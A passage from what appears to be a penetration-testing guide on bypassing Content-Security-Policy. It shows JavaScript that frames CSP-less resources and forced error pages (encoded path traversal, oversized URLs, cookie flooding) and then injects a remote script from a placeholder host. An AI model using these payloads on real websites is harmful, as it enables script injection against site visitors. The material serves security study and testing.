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A configuration such as:

```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```

Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`

Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS

### Via Text & Images

It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:

```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```

### Via Errors

Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:

```javascript
// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)

// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)

// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
  document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
  document.cookie = i + "="
}
```

After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:

```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```

## References

- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)

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